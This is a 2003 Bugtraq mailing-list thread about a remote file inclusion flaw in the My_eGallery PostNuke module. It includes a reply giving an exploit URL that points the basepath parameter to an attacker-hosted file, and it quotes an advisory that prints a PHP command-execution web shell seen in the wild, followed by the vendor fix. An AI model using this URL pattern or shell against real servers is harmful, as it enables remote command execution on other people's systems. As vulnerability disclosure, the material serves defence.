Re: Remote execution in My_eGallery

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Re: Remote execution in My_eGallery
From: Fauvet Ludovic <etix@xxxxxxxxxx>
Date: Sun, 30 Nov 2003 01:16:31 +0100
In-reply-to: <20031126203800.37A9E42F3B@xxxxxxxxxxxxxxxxx>
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
References: <20031126203800.37A9E42F3B@xxxxxxxxxxxxxxxxx>
User-agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031013 Thunderbird/0.3


Hi,
There is some php scrits which are vulnerables.
One of these is displayCategory.php .
So you just have to go to:
http://www.[vulnerable].com/modules/My_eGallery/public/displayCategory.php?basepath=http://[youwebsite].com

And create a directory "public" in the root of your website and put afile named imageFunctions.php with the code you want to inject.


--

/*-------------------
Best regards,
[::eTiX::]
(Fauvet Ludovic)
-------------------*/


Bojan Zdrnja wrote:

Product: My_eGallery
Versions affected: all <3.1.1.g
Website: http://lottasophie.sourceforge.net/index.php

1. Introduction
---------------

My_eGallery is a very nice PostNuke module, which allows users to create and
manipulate their own galleries on the web, plus offers various additional
features.
For more information and a demonstration you can go to the Website above.

2. Exploit
----------

Any version of My_eGallery, prior to 3.1.1.g, is susceptible to this
vulnerability.

Certain php files have some parameters which are used in include functions
not filtered.
An intruder can craft PHP code on their Web site and supply parameter to
My_eGallery so it actually includes malicious PHP code.

The following code was captured as being used in the wild (edited
intentionally):

<?
  // CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
  if (isset($chdir)) @chdir($chdir);
  ob_start();
  execute("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
  $output = ob_get_contents();
  ob_end_clean();
  print_output();
?>

This allows execution of any command on the server with My_eGallery, under
the privileges of the Web server (usually apache or httpd).


3. Solution
-----------

Vendor was contacted and promptly replied. Fix is available at the vendor's
site:

http://lottasophie.sourceforge.net/modules.php?op=modload&name=Downloads&fil
e=index&req=viewdownload&cid=5

As this was seen being exploited in the wild, users are urged to upgrade to
the latest version as soon as possible.




Regards,

Bojan Zdrnja
CISSP

References:
- Remote execution in My_eGallery
  - From: Bojan Zdrnja

Prev by Date: Re: phpBB 2.06 search.php SQL injection
Next by Date: Surfboard <= 1.1.8 vulns
Previous by thread: Remote execution in My_eGallery
Next by thread: SGI ProPack v2.3 security update
Index(es):
- Date
- Thread